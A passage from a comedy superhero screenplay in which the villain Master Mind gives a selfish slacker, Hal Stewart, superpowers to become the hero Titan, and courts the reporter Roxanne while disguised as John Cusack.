STENWICK (shaken) No. Ah...sir, I didn't know this was about spiders. I have a pretty severe case of arachnophobia. Master Mind thinks for a moment, then turns to Plato. MASTER MIND We're gonna need more venom. Plato throws another switch, this time DUMPING THOUSANDS OF SPIDERS on poor Stenwick. His SCREAMS begin to fade as he's engulfed with swarms of crawling arachnids. MASTER MIND (CONT'D) How `bout now, Stenwick? ....Stenwick? INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY Master Mind is pacing back and forth. The muted TV plays in the background. MASTER MIND This has proven to be a challenge. I just don't know what I want. What do I want? 35. He stares at Einstein, Da Vinci and Plato, but they offer no advice. MASTER MIND (CONT'D) I want a man of moral fiber with a strong sense of right and wrong. Someone who doesn't seek power - instead, they must have it thrust upon them and find, within themselves, the courage to rise to the occasion. Einstein lets out a short laugh, getting everyone's attention. EINSTEIN Yeah, well, it sounds like what you want is Uberman. Master Mind snaps the fingers of his non-metal hand. MASTER MIND That's it! Why make a copy when the real thing will do? The lackeys look at each other, they can't believe what they're hearing. EINSTEIN I was just kidding, sir. In case you forgot, you actually burned Uberman alive. MASTER MIND Then we'll make a new one. Plato, bring me the box! MINUTES LATER Master Mind and the lackeys stand in a circle around a small table. Plato places a STAINLESS STEEL CHEST in the tables center. As Master Mind opens it, he's immediately doused in WHITE GLOW emanating from inside. MASTER MIND Behold - Uberessence. The very thing that gave Uberman his superhuman powers. 36. EINSTEIN Where the hell did you get that? MASTER MIND Oh, I shot him with a power sucking gun and had this idea to use this to clone a whole army of evil Ubermen. I'm not sure why I never got around to following up with that. PLATO I believe he defeated you before you could, master. MASTER MIND ...Right. Man, he was good! DA VINCI You want another volunteer, sir? MASTER MIND Not another volunteer driven by the need for personal gain. Somebody else, somebody pure. Master Mind turns to see an INTERVIEW WITH HAL playing on the muted television. Underneath his face is a blue caption with white lettering that reads: "Hal Stewart - Metro City's Newest Hero?" NEWS REPORTER ...who risked his own life to save that of a young mother and her child. HAL Please, please, you're embarrassing me. I saw someone in need and I helped them. What more can we ask of ourselves. I ask you, what more? A smile creeps across the evil one's face. MASTER MIND (CONT'D) Somebody like him! EXT. CITY STREET - DAY Plato is sitting in the van, staring into a pair of binoculars as he speaks on a cellphone. 37. PLATO Yeah, sir. This guy is a real piece of work. He used to teach bowling at Kingpin's. INT. MASTER MIND'S HIDEOUT - DAY Master Mind is sitting with his feet up on a computer console as he speaks to Plato. MASTER MIND (into phone) A modest profession to brilliantly hide his true heroic nature. I love it. EXT. CITY STREET - DAY PLATO Then you are absolutely going to love this - We follow Plato's line of sight across the street where we see HAL PLAYING WITH A LARGE GROUP OF BLIND CHILDREN. PLATO - He volunteers at a school for the blind. INT. MASTER MIND'S HIDEOUT - DAY Intrigued, he suddenly sits up in his chair. MASTER MIND He volunteers. He doesn't ask for any reward for his deeds. The fates are shining down on me. This Mr. Stewart is truly an unselfish soul. EXT. BLIND SCHOOL - DAY From a distance, Hal seems to be consoling an upset child who's sitting on a rock. But up close... HAL You greedy little bastard. I already gave you a twenty. BLIND KID Hey, you want me to play along? Then pay up, bitch! 38. HAL Fine, but you better be convincing. He gives the kid a bill out of his wallet and looks over his shoulder to see a HOT TEACHER walking toward them. HAL Here she comes, go to work. Like a miniature Brando, the blind kid buries his face in his hands and begins to cry. BLIND KID (weeping) Why can't I see! Why God? Hal puts a warm consoling hand on the weeping boy's shoulder. HAL Hey, Peter. C'mon champ, let me look at you. The Hot Teacher stops and curiously watches from a distance. The boy looks up at Hal, tears running down his dark sunglasses - he should get an Oscar. HAL You know, in life we're all given no more than we can bear. This happened to you maybe because you were meant to rise above it - Maybe to be an inspiration to the other little Peteys out there. BLIND KID You really think so, Hal? HAL Hey, does it LOOK like I'm lying? Now c'mon, go feel your way to class before you get your little butt suspended. The boy stands up and is about to take off. HAL Petey, wait a minute. Hal uses his shirt sleeve to wipe the tears away from the boy's face before sending him on his way. 39. The Hot Teacher grabs her chest. Her heart is about to absolutely melt. HAL Don't run into anything! EXT. STREET - CONTINUOUS Plato lowers his binoculars. From his perspective, Hal should be next in line for popehood. PLATO I think I've seen enough, sir. This is your guy. MASTER MIND (O.S.) (over radio) Then return to base. We have much work to do. Plato starts up the van and pulls away. INT. BAR - DAY It's a busy night. A couple of trucker types are shooting pool as the bartender slings drinks. Hal is nursing a beer at the bar when he suddenly notices a very ATTRACTIVE WOMAN sitting next to him. As he goes to straighten his stool-posture, Hal suddenly catches himself on the bar's TELEVISION - it's a story about how he saved the woman and her baby at the construction site. He turns back to the Attractive Woman next to him, then back to the TV. A plan of attack is forming. HAL (obviously playing it up for the woman's benefit) Oh, there it is again. This is really getting embarrassing now. The woman looks up at the screen and gives Hal a double-take. ATTRACTIVE WOMAN Oh my God! It's you! You're the man who saved that woman and her baby the other day! It is you, isn't it? TRUCKER #1, getting a drink at the bar next to them, OVERHEARS. 40. Hal rolls his eyes and puts his hands up in the air. HAL (to Attractive Woman) Oh, crap. You got me. TRUCKER#1 taps Hal on the shoulder. TRUCKER#1 Let me tell you something. That was just about the bravest damn thing I've ever witnessed. (he turns to the rest of the bar) Hey, everybody! This guy's the hero from TV! The bar ERUPTS IN CHEERS. MOMENTS LATER Hal is riding on the shoulders of TRUCKER#2 and TRUCKER#3 as `I'm Holding Out For A Hero' plays on the jukebox. TRUCKER#1 suddenly puts his hands in the air. The room quickly goes silent. TRUCKER#1 I want to give you something. He reaches into his pocket and takes out a medal. He holds it up in the air for everyone to see. TRUCKER#1 (CONT'D) Lost my whole platoon. They were a lot a good boys, a lot of good boys. That was just the way things were in "The Grenada." I'd rather a real hero have this. Trucker#1 gives the medal to a speechless Hal. ATTRACTIVE WOMAN Hey, you're on TV again. The crowd looks up at the Television. TELEVISION - CONTINUOUS The anchor man, BRAD HELMS (early 40's, amazing mustache), suddenly has a memo passed to him. 41. BRAD HELMS This just in. Upon a second look at that tape from this morning, which we'll now replay for you, it appears it was not the heroic act it first seemed to be. The tape shows Hal running in slow motion. BRAD HELMS (O.S.) (CONT'D) With the tape slowed down you can actually see the man push the woman and her child out of the way in an effort to save his own life. The tape shows Hal, in a clear act of self-preservation, pushing the woman and child out of the way. CUT BACK TO: INT. BAR - CONTINUOUS In unison, everyone turns their heads back to Hal. HAL I guess that looks kinda bad. Trucker#1 snatches his medal back. EXT. NEARBY ROOF - NIGHT Master Mind, Da Vinci and Plato look down, spotting Hal cutting through a dark alley. DA VINCI There he is, boss. Da Vinci hands Master Mind a fantastic looking silver rifle. MASTER MIND Now, we're sure this won't kill him? PLATO Yes, sir. He'll just feel a slight electrical shock. MASTER MIND Good. Master Mind raises the rifle and aims it at Hal. 42. EXT. ALLEY - NIGHT Hal wipes the blood from his nose with his shirtsleeve. A LIGHTENING BOLT suddenly zaps Hal in the back. His teeth spark and arc electrons as his entire body shakes and shudders violently. He finally collapses, knocking over a row of garbage cans. EXT. NEARBY ROOF - NIGHT An angry Master Mind slaps Plato. MASTER MIND Slight electrical shock? EXT. ALLEY - NIGHT Hal lies flat on his back, his jacket smoldering. Dazed, he slowly rises to his feet and looks up at the sky. HAL God, I hate the weather in this city. Hal walks off into the night as he attempts to slap the emitting smoke from his jacket. EXT. NEARBY ROOF - NIGHT Master Mind turns to Da Vinci. MASTER MIND Follow him. INT. HAL'S APARTMENT - NIGHT It's a dirty, small studio. Laundry lies everywhere, dishes are piled in the sink and the litter box looks like a minefield. Hal comes staggering in. Through his POV we see the lights wobble and streak like a hallucination. He shakes his head trying to clear thing up, but it looks worse. Hal makes his way to the kitchen table and plops down on a chair. The room begins to swim. His CAT jumps on the table and sits down in front of him. 43. From Hal's POV the cat's face looks like we're seeing it through a kaleidoscope. Hal seems fascinated by it. CAT You don't look so good, man. HAL I don't feel good. I was struck by freaking lightening. Suddenly Hal realizes his cat's talking to him. HAL (CONT'D) AAAAAAHHHHH! You can talk? CAT No, you're just hallucinating. By the way, we're out of orange juice. HAL AAAAAAHHHHH! Hal jumps up, trips over a cardboard box and knocks himself out on the coffee table. INT. HAL'S APARTMENT - MORNING Hal lies in the same position we left him last night. He sits up and grabs his head. He looks like he has the worst hangover in the world. Finally, he remembers last night. He looks around, but not really sure what he's looking for. HAL Man... Shaking his head, he walks to the kitchen and opens the refrigerator. He pulls out an orange juice container and puts it to his mouth. It's empty. As if suddenly remembering something he looks from the carton to the cat, who is busy cleaning himself. He shakes the thought from his mind. BATHROOM Hal lifts the seat and unbuckles his pants. 44. HAL'S FACE He stares at the ceiling with half closed eyes. The inevitable sound of urine hitting water starts. A content look washes over his face. There is a distinct sound of porcelain CRACKING and SPLINTERING. The sound intensifies. Hal looks down to see his URINE STREAM SMASHING THE TOILET. HAL (CONT'D) Oh, God! He whips his stream away only to cut a LONG RIP IN THE WALL. HAL (CONT'D) Oh, God! He freaks out and begins to lose control of his flow as it destroys everything he accidently aims at; the bathroom mirror, a bottle of cheap cologne, the bathroom window. HAL (CONT'D) Oh, God! He aims back for the toilet, which is pretty much rubble now, to see the floor give way. Finally, the pee stops and he glances down the hole. He sees his downstairs NEIGHBOR sitting at his breakfast table. He has a fork halfway to his mouth as he stares at the smashed toilet on his pancakes. EXT. STREET - DAY Hal turns the corner to see his bus pulling away from the stop. HAL Wait! He starts running after it. ZOOM - HE TAKES OFF LIKE LIGHTENING. HAL (CONT'D) Whoa, whoa, whoa! Unable to stop, he SLAMS INTO THE BACK OF THE BUS and falls back to the ground. 45. As the bus continues on he sees an INDENTATION of his torso right below the rear window. Stunned, to say the least, he rises to his feet. HAL (CONT'D) Something's not right here. He slaps himself in the face as hard as he can. HAL (CONT'D) Wake up! Wake up, Hal! HONK! Hal spins around to see a car barreling toward him. He goes to jump out of the way - ZOOM - he FLIES TWO STORIES UP, nails a building and comes crashing back down to the sidewalk. Hal sits up, disheveled and scared. HAL (CONT'D) Okay, okay. Let's get it together, man. He closes his eyes in an attempt to will back his sanity. HAL (CONT'D) This is just some sort of...episode. It will pass, it will pass. He opens his eyes and looks down the street. A BEAUTIFUL NAKED WOMAN is coming toward him. HAL (CONT'D) Well, not too fast I hope. As she passes him and turns the corner out of his view he catches ANOTHER NAKED WOMAN - an old disgusting one. HAL (CONT'D) Yes, fast, fast! He turns away from her in horror only to see AN ENTIRE BLOCK OF NAKED PEOPLE going about their business. He rubs his eyes and looks down the street again. Everyone has returned to a clothed state. 46. He relaxes a little until he looks down and notices that he's floating a foot off the ground. HAL (CONT'D) I think I need to go home. INT. HAL'S APARTMENT - DAY Hal's front door CREAKS as it slowly opens, revealing Master Mind. He walks over to the bathroom and smiles to himself as he notices the giant hole in the floor. MASTER MIND Welcome to your second birth, Hal Stewart. Master Mind continues to survey the room. He stops to look over a "KARATE KID" POSTER on Hal's living room wall. He focuses on the majestic image of Pat Morita teaching a young Ralph Macchio to kick. MASTER MIND (CONT'D) Instruction is very important in the formative years. Every hero needs a mentor, a father figure to look up to. He presses his special watch, causing his body to MORPH INTO THE SPITTING-IMAGE OF PAT MORITA. "PAT MORITA" Perfect. INT. HAL'S APARTMENT - DAY Hal enters, grabs a bottle of vodka from atop of the fridge and takes a long pull from it. VOICE (O.S.) A man will usually find that if he drinks from a bottle, eventually, the bottle drinks from him. Hal does a SPIT TAKE. In the corner a darkened figure stands. HAL Who are you!? 47. VOICE I am the guide on your journey. Fate has chosen you to be it's champion. Pat Morita steps out from the shadows. Hal passes out again. LATER We are close on Hal's face as his eyes flutter open. He appears to be lying on the couch. He hunches up on his elbows, looks around, but everything is as it seems. He lays his head back down. HAL Thank God. It was a dream. Man, I must be losing it. A voice sounds right next to his ear. "PAT MORITA" (O.S.) You know you're out of orange juice? Hal leaps up to find he's been resting his head on Pat's lap. HAL Jesus! This isn't happening, this isn't happening. Hal backs away and trips over a box. "PAT MORITA" Calm. All things must be filtered through calmness. HAL Bullshit! Sometimes it's best to freak out. "PAT MORITA" I think we must work on your attitude first. HAL Look I'm gonna call the cops in about two seconds if you don't get out of here. 48. Pat rises and walks to Hal. He's so calm it makes Hal calm. "PAT MORITA" Are you calm now? HAL Yeah, I'm okay. Pat slaps him across the face hard. "PAT MORITA" Good, because we've got a lot of work to do. Hal grabs his jaw. HAL What the hell was that for? "PAT MORITA" Rule number one: expect the unexpected. HAL Can you just tell me what this is all about? "PAT MORITA" The heavens are not in the habit of bestowing a gift such as this to just anyone. You are being rewarded for being a man of great moral fortitude with an unwavering belief in humanity. HAL That's me alright. "PAT MORITA" I am to train you so you may fulfill your destiny to defeat the great menace to Metro City: Master Mind. Pat gets up and walks toward the door. "PAT MORITA" (CONT'D) Come. HAL We're are we going? 49. "PAT MORITA" To train. EXT. PAT'S CAR - DAY Pat is sitting in the driver's seat. The car is bumping up and down. "PAT MORITA" Strength is just as much in the mind as it is the muscle. Remember, both need to be exercised. We PULL BACK to see Hal lifting the car up over his head. He's hardly straining. HAL I'M LIFTING A FREAKING CAR!!! Pat leans on the HORN. "PAT MORITA" Hey, Corky? You listening? Two highly attractive female joggers run by. They're clearly impressed with Hal's show of strength. He smiles and mouths a "hello." HAL Yeah, work both muscles. EXT. DESERT - DAY Pat cocks back the chamber of a .357 MAGNUM. He holds it up and carefully takes aim...at Hal's chest. "PAT MORITA" Trust me. HAL What are you doing!? "PAT MORITA" An invulnerability test. Something wrong? HAL Uh...yeah. I would prefer not to get shot. Do not fire that thing! Frustrated, Pat lowers the gun. 50. "PAT MORITA" You're bulletproof. HAL Okay, do you know that for sure? Pat quickly aims and fires. Hal lets out a high pitched scream as the bullet ricochets off his chest. "PAT MORITA" I do now. Hal looks down at his chest, not so much as a scratch. HAL You suck. EXT. SKY - DAY Hal is in the air flying in a sitting position. He's weaving back and forth. HAL Ice Man, I got a bogie on my tail. Two Russian Migs coming in hard and fast. "PAT MORITA" Hey! HAL What? Hal looks down to see Pat Morita yelling at him from the roof of a building down below. "PAT MORITA" What did I tell you? Stomach down, hands up. Hal sighs and assumes the proper superhero in-flight position. HAL God, I feel so gay. Pat's CELL PHONE begins to RING. He answers it. "PAT MORITA" (in Master Mind voice) What is it? 51. ROXANNE (V.O.) John? Pat panics. He looks up to make sure no one is in earshot. He sees Hal now doing somersaults in the air. HAL YEEEE HAWWWW! Pat turns his attention back to the phone, talking in his John Cusack voice. "PAT MORITA" (in Cusack voice) Yes, it's John Cusack. ROXANNE (V.O.) Hi, it's Roxanne. Listen, I...I really enjoyed talking with you the other day. "PAT MORITA" ...As did I. ROXANNE (V.O.) Great. God, I feel really silly, and if you have a lot going on I totally understand. But, I was wondering if you maybe wanted to have lunch. He can't believe what he's hearing. "PAT MORITA" (excited) I'd love to! He quickly recovers his composure. "PAT MORITA" (CONT'D) I mean, I AM a little hungry. ROXANNE (V.O.) Great. How does the park sound, around noon-ish? "PAT MORITA" Sure! ROXANNE (V.O.) Great, see you then. 52. Pat hangs up the phone and returns it to his pocket as Hal lands behind him. HAL WHOOOOA! Man, that is so cool. It's like fly - Oh my God, I almost said it was like flying. "PAT MORITA" For the rest of the day I want you to continue to practice your flying posture. HAL Why, where're ya going? "PAT MORITA" ...To do something...mysterious ...and Asian. HAL Say no more, bro. I'll just keep at it, then. EXT. PARK - DAY John Cusack and Roxanne eat WRAPPED SANDWICHES while walking through Metro City Park. ROXANNE How's your sandwich? "JOHN CUSACK" It's quite delicious. ROXANNE Hope you don't think I'm too forward. Some men are intimidated when a woman asks them out. I just find you really easy to talk to. "JOHN CUSACK" And I you. ROXANNE You know, you're not at all like you are in the movies. "JOHN CUSACK" I'm not? 53. ROXANNE Yeah. I don't know - You have this strange, refined way of speaking. "JOHN CUSACK" I do? That is most interesting. ROXANNE Anyway, when we were talking the other day I just felt, even though we only talked for a couple of hours, that we've known each other for years. "JOHN CUSACK" I know just what you mean. Roxanne bites into her sandwich. ROXANNE You know what? This sandwich is disgusting. She tosses it in a nearby garbage can. ROXANNE (CONT'D) Of course I already ate half of it. I wonder what that says about my character? "JOHN CUSACK" It means you don't give up on a sandwich. You see that it has potential, and you give it every chance to be all it can be. Roxanne smiles at his analogy. ROXANNE Thanks, but knowing me, I was probably projecting my expectations of what a lunch should be on the sandwich. It might have been okay at first, but I just made it bitter. John Cusack notices Roxanne's smile starting to fade. "JOHN CUSACK" Is that what happened with your last sandwich - I mean, boyfriend? 54. ROXANNE When I look back, I probably shouldn't of expected so much from him. He was already a giving person. You know, one of those go out and save the world types. "JOHN CUSACK" I've run into a few. ROXANNE I was selfish, I guess. I didn't want to share him with anybody else. "JOHN CUSACK" It sounds like he was a special man. ROXANNE They broke the mold. John Cusack arches his eyebrow in a very familiar manner. "JOHN CUSACK" Perhaps not. INT. ABANDONED WAREHOUSE - DAY Hal walks up to Pat Morita sporting a Lone Ranger-type mask and wearing a purple and red superhero costume. It's not unlike Uberman's except for a giant "T" on his chest. (From here on, Hal is referred to as TITAN) TITAN What's the "T" stand for? "PAT MORITA" Titan. TITAN What's that supposed to mean? "PAT MORITA" It's from Roman mythology. Zeus's father...oh, just go with it. You look perfect. TITAN I don't think this mask is big enough. Are you sure no one is gonna recognize me? 55. "PAT MORITA" It's fine, just don't slouch. It's all in the posture. He grabs Titan's shoulders like a proud papa. "PAT MORITA" (CONT'D) It is time. INT. BANK - DAY There is a long line of people snaked around the velvet ropes. They're all waiting for their chance at the one open teller window. Four men wearing BEATLES MASKS(JOHN,PAUL,GEORGE,AND RINGO)and CARRYING SHOTGUNS enter the bank. John fires a shot in the air, sending everyone into an immediate panic. JOHN Alright folks, this is a robbery. Nobody moves - yadda, yadda, yadda... Ringo jumps over the teller wall and starts stuffing bills into a bag. As John and Paul cover the crowd, George goes to the corner office and puts a gun to the BANK MANAGER'S head. GEORGE The safe. Let's go. BANK MANAGER Okay, just don't hurt anyone. GEORGE Yeah, yeah, yeah. George leads him out by the collar. CRASH - Titan smashes through the window and lands in a bold superhero stance with hands on hips. TITAN Well, boys, there's no need for all this just to get the free toaster. Paul cocks his gun. 56. PAUL What are you suppose to be? We move in for a nice dramatic close up. TITAN Justice. GEORGE Well, justice, suck on this... George, John and Paul open fire on Titan. He just stands there and yawns as the bullets bounce off him. With their guns empty the three just stare at him in amazement. TITAN Now it's my turn. He turns to George. TITAN (CONT'D) Hey, George, here comes the sun. Titan grabs George and throws him into a fluorescent light fixture in the ceiling. Paul tries to run for the door. Titan snatches the collar of his jacket. TITAN (CONT'D) Say, Paul, your mother should know...that you're a scumbag. He tosses Paul out the window and into a parked DELIVERY TRUCK. Titan turns around just as John hits him with the butt of his shotgun. It instantly breaks apart in his hands. Titan lifts him like a rag doll up into the air. TITAN (CONT'D) John, all you need is love... He throws John who lands on top of a cubical wall - GROIN FIRST. TITAN (CONT'D) ...and a good urologist. 57. Titan effortlessly hops over the teller wall to find Ringo cowering on the floor. He grabs him by the shirt and lifts him up. HAL Well, Ringo...um...um...you're under arrest. EXT. BANK - DAY Titan walks out of the bank with Ringo and George under his arm. He's suddenly swarmed by a group of television reporters, including Roxanne. Across the street is Pat Morita. He watches Titan's first news conference with great anxiety. BANK MANAGER (to Hal) On behalf of the First National Bank of Metro City, I'd like to offer you a reward for your act of bravery. He hands Titan a check. TITAN (reading) Ten thousand dollars! Titan looks over to Pat, who violently shakes his head no. TITAN (CONT'D) (unenthusiastically) I...can't except this. Law and order is it's own...um...reward. Pat gives him the thumbs up. Pat turns, suddenly seeing Roxanne with her camera crew. Captivated, his eyes lock on her. Meanwhile, Roxanne and her cameraman, SETH, are maneuvering around the crowd to get closer to Titan. BRAD HELMS (O.S.) Not so fast, Roxanne. They both turn to see Roxanne's reporter rival Brad Helms, Geraldo without the class, and his cameraman, FRANK. BRAD HELMS This story's mine. 58. ROXANNE Listen, Brad. We were just in the area. I was just trying to - BRAD HELMS I've been in this business long enough to know pretty well what you were "just trying to do." Besides, I heard you couldn't take the big game anymore and were put on fluff detail? Dejected, Roxanne turns and motions for Seth to turn the camera off. SETH You're not gonna take that from him, are you? ROXANNE He's right. Old habit, I guess. (to Brad) We'll get out of your way. As they walk off, Brad makes a comment to Frank loud enough for her to hear. BRAD HELMS Besides, I'm sure there's a pancake supper somewhere that needs covering. INT. ABANDONED METRO CITY LIBRARY - OFFICE - DAY ON TELEVISION We see the news conference on the bank's steps. In the corner of the screen is written: "recorded earlier." BRAD HELMS For months now, since the death of Uberman, the citizens of Metro City have been holding out for a hero. Well, it appears they won't have to hold out for much longer as a new costumed crusader has suddenly stormed onto the scene. Today, at the Metro Savings and Trust, a masked mystery man single-handedly defeated "The Fab Four Gang." Just who is this new caped avenger? Brad holds the microphone to Titan's face. 59. BRAD HELMS I'm sure all of our viewers are now wondering, what's the "T" stand for? TITAN It's a message to all the scum out there. Uberman may be gone, but Metro City has a new protector, and his name is "Tighten!" Another reporter leans in. REPORTER How do you spell that? We PULL BACK to see Plato and Da Vinci watching this spectacle. Master Mind is sitting with them, reading a NEWSPAPER. MASTER MIND (reading paper) Oh, for heaven's sake. I can't believe it. He misspelled his name. Master Mind holds up the newspaper. The headline reads "Metro's New Hero: Tighten." MASTER MIND (CONT'D) No matter, I suppose. Master Mind throws the paper on the floor and begins to pace around the room with his arms folded behind his back. MASTER MIND (CONT'D) We've now fully established Titan as Metro City's hero. They will love him just as they loved Uberman. Everything is going according to plan. Einstein leans over and whispers in Plato's ear. EINSTEIN (whispering) Yeah, if the plan is getting us in jail. Master Mind turns around, facing Einstein. He walks over, standing face to face with the rebellious henchmen. 60. MASTER MIND You know, Einstein, maybe I should have called you Socrates. He also didn't know when to keep his thoughts to himself. EINSTEIN I just fail to see the point in all of this. I mean, why are we creating another superhero when it was such a pain in the ass for you to get rid of the other one? I mean, Uberman is destroyed, we should be using this opportunity to...to... MASTER MIND To what? EINSTEIN I don't know. To take over the weather, space, the world - whatever super villains are SUPPOSED to do. MASTER MIND The reason someone like you will always be a minion is because you have no foresight. We take over the earth, like you said. Then what? Women? Cars? Money? Even the grandest treasures will lose their lustre if you don't have someone to hold them over. Einstein throws up his hands. He's had enough. He pulls off his wig and throws it to the floor. EINSTEIN That's it! This balance of the force bullshit is getting way too Oprah for me. I'm blowing. Who's with me? MASTER MIND You dare? EINSTEIN Yeah, I dare. I'm sick of wearing stupid costumes, and I'm sick of working for a super villain who's turning into a softie. 61. Plato and Da Vinci's mouths drop to the floor. They turn to Master Mind for his rebuttal. MASTER MIND What - did - you - call me? EINSTEIN You heard me. You used to be an inhuman monster, now look at you. You're creating super heroes, you don't go with us on robberies anymore, it's been days since you threatened anyone, oh, and not to mention this Roxanne Ritchi thing. MASTER MIND THAT is none of your business, knave! EINSTEIN Hey, you guys haven't sealed the deal yet, have you? MASTER MIND Silence! EINSTEIN (In a woman's voice) Oh, Master, your head is so big. MASTER MIND I'm warning you, Einstein. EINSTEIN (In a woman's voice) Take me! MASTER MIND I said silence! With his metal gauntlet Master Mind grabs Einstein by the throat and lifts him into the air. Einstein looks frightened as he tries to pry himself free of Master Mind's grip. Master Mind's eyes soften as if his heart is suddenly not into what he's about to do. He let's Einstein drop to the floor. MASTER MIND (CONT'D) Get out of my sight. 62. EXT. RESTAURANT - NIGHT Roxanne and John Cusack are eating on the outside patio of a fancy restaurant. ROXANNE Don't get me wrong, I love being a reporter. I don't think I could do anything else. It's the consequences of what we do that I'm having a problem with. He listens intently as he refills her glass with wine. "JOHN CUSACK" That's where journalistic responsibility comes in, no? ROXANNE It's supposed to. "JOHN CUSACK" Sounds to me like you're running from something. ROXANNE I got someone I cared about killed. If it wasn't for me, he wouldn't have been involved. John suddenly gets a disturbed look in his eye, realizing what she's talking about. He reaches across the table and takes her hand. "JOHN CUSACK" You can't blame yourself. My father used to say each of us must answer the great call to truly feel alive. ROXANNE Was he an actor? "JOHN CUSACK" ...No. He was...a landscaper. And a horrible one. I mean he would fail time and time again at his...landscaping. And sometimes he'd get pretty beaten up or thrown in jail - ROXANNE Jail? 63. "JOHN CUSACK" My point is he took the good with the bad. He grew a little each time. Improved, learned. ROXANNE Was he ever successful? "JOHN CUSACK" God, no...but don't let deter you. Roxanne LAUGHS. ROXANNE Thanks for this. You know, this is embarrassing, but it's been a long time since I - It's starting to lightly sprinkle. Roxanne looks up. ROXANNE (CONT'D) I think it's starting to rain. We might want to find a table inside. "JOHN CUSACK" What were you gonna say? ROXANNE Oh, I was gonna say...It's been a long time since...well, I've been with someone I...enjoy being with. John Cusack smiles warmly and raises his glass for a toast. "JOHN CUSACK" To people who enjoy being with each other. They go to clang glasses, when the rain suddenly causes John Cusack's disguise generator to short. His true form of Master Mind is briefly revealed to Roxanne as a BOLT OF ELECTRICITY encircles his body. Roxanne drops her glass and jumps out of her seat. MASTER MIND (CONT'D) Oh, no. Don't look at me. LIKE A BROKEN TV the image keeps switching between MASTER MIND AND JOHN CUSACK. 64. As Master Mind starts to franticly slap at his watch, the Cusack disguise begins to hold steady. He nonchalantly returns to cutting his steak. "JOHN CUSACK" Okay, never mind that. Now, where were we? Roxanne grabs his glass and throws the drink in his face, causing the generator to short out permanently. Master Mind now sits in his true blue form. ROXANNE Oh my God. MASTER MIND You're not gonna get all freaky about this, are you? ROXANNE This...this is too much, even for you. God, I go out with you, tell you my innermost thoughts. MASTER MIND I only did this because I wanted to talk to you on the same level. You know, without all the baggage? ROXANNE Baggage? You burned my boyfriend alive, you sick son-of-a-bitch! MASTER MIND You see, that's exactly what I'm talking about. Roxanne starts to walk away. MASTER MIND (CONT'D) Roxanne! ROXANNE Stay away from me. Master Mind sinks back down to his chair. Despite the now heavy rain bombarding him, he returns to his food. Several resturaunt patron's are looking at him through the window. 65. Our villain turns to them, giving them a villainous glare. MASTER MIND What? INT. MASTER MIND'S BEDROOM - NIGHT Master Mind is lying on his back, wide awake. MASTER MIND (mumbling to himself) Stupid. What was I thinking? Plato, it's his fault. He's the one who sent me on this weak-willed path. I'll filet his scrotum for this. Me, a creature of evil, in love with Roxanne Ritchi. Preposterous. I hardly give such matters thought He rolls onto his side. He yawns and closes his eyes. Suddenly, they shoot back open. CUT TO: EXT. ROXANNE'S APARTMENT - NIGHT Master Mind pulls up in a blue Rolls Royce, across the street from Roxanne's apartment He stares up at the building, hoping to catch a glimpse of her. Finally, she appears, primping her hair in her apartment window's reflection. MASTER MIND I should just go up there and just lay it all out to her. "Roxanne, I like you - I always have. Oh, and I'm sorry I blew up your ex. (realizing the absurdity of his words) Yeah, that would go over like a pants-less clown at a child's birthday party. What the hell am I even doing here? Who cares what she thinks? I'm a supervillain and here I am acting like a love struck schoolboy. Forget this. I control my own destiny! 66. He turns the ignition key - NOTHING HAPPENS. He repeats but gets the same results. MASTER MIND (CONT'D) (disgusted) Perfect. INT. ROXANNE'S APARTMENT - NIGHT She pulls a pack of smokes off her night stand. Empty. ROXANNE Damn. She grabs her long coat and throws it over her robe. EXT. ROXANNE'S APARTMENT BUILDING Roxanne steps outside. ROXANNE Please be open. Across the street is a liquor store. The light is still on. ROXANNE (CONT'D) Thank God. She walks across the street, passing in front of Master Mind's car. Spotting her, he sinks down in his seat. Roxanne walks by, totally unaware of his presence. Relieved, Master Mind sits back up and watches her go into the store. INT. LIQUOR STORE - NIGHT Roxanne walks up to an elderly Korean SHOPKEEPER at the counter. ROXANNE A pack of Lady Strikes, please. EXT. MASTER MIND'S CAR - NIGHT Master Mind is talking on his cell phone. MASTER MIND Hello, Triple A? 67. He suddenly spots something across the street. EXT. LIQUOR STORE - NIGHT A HOODLUM walks up to the entrance of the store and pulls out a gun from under his coat. EXT. MASTER MIND'S CAR - NIGHT Master Mind stares in shock. MASTER MIND I'll call you back. He hangs up the phone and watches the Hoodlum go inside the store. INT. LIQUOR STORE - NIGHT The Hoodlum reaches across the counter and grabs a fist full of cash from the register. SHOPKEEPER Hey! SHOTGUN HOODLUM Shut up, Gramps. He turns to Roxanne, spotting a GOLD NECKLACE around her neck. SHOTGUN HOODLUM (CONT'D) Gimme that necklace! ROXANNE I don't think so. The Hoodlum cocks his shotgun. SHOTGUN HOODLUM I said give it to me! MASTER MIND (O.S.) The lady said no. The hoodlum turns around to see Master Mind in the doorway holding a STRANGE-LOOKING HAND CANNON (GOO GUN) with knobs and blinking lights. The hoodlum starts to laugh. 68. SHOTGUN HOODLUM What the hell's that? A super soaker? MASTER MIND No, it's a goo gun. The hoodlum turns his gun to Master Mind. SHOTGUN HOODLUM Yeah, what's it do? MASTER MIND It goos. Master Mind fires the cannon. It instantly covers the store in a cloud of SMOKE. The smoke clears to reveal the hoodlum STUCK TO THE WALL, covered in a thick, GREEN GUNK. Roxanne stares at him, dumbfounded. MASTER MIND (CONT'D) It's...a prototype. Master Mind starts to walk out when he's suddenly confronted by the shopkeeper. SHOPKEEPER I know you! You Master Brain guy. You a hero. Master Mind points the goo gun at him. MASTER MIND Don't - EVER - say that again. EXT. LIQUOR STORE - NIGHT Master Mind walks out with the cannon resting on his shoulder like he's a short timer in Da Nang. Roxanne follows shortly behind him. ROXANNE Hey! Master Mind turns around. ROXANNE (CONT'D) Are you following me or something? 69. MASTER MIND Don't flatter yourself. He turns away and continues walking. Roxanne runs in front of him blocking his way. ROXANNE Don't walk away from me when I'm talking to you. Finally it occurs to her what's going on. ROXANNE (CONT'D) What a minute...all that stuff you use to say to me when Uberman was alive - about me being the loyal queen by your side as you rule over Metro City. That wasn't just super villain rhetoric, was it? You actually meant it! MASTER MIND My, someone has a rather high opinion of themselves. They stare at each other in silence, their glares locked in conflict. ROXANNE (coldly) Do you really think I would be with someone like you? This stings Master Mind to the bone. And after a brief contemplation, he reaches the only logical, painful conclusion. MASTER MIND No. With that, Master Mind exits into the night, leaving Roxanne with a baffled expression on her face. INT. ABANDONED METRO CITY LIBRARY - NIGHT Master Mind enters in a huff. Da Vinci closes the door behind him as Plato notices his master's agitated state. PLATO Everything alright, sir? Master Mind GRABS PLATO BY THE GROIN with his metal gauntlet causing Plato's eyes to bulge in pain. 70. MASTER MIND (overly calm) Fine, why do you ask? PLATO 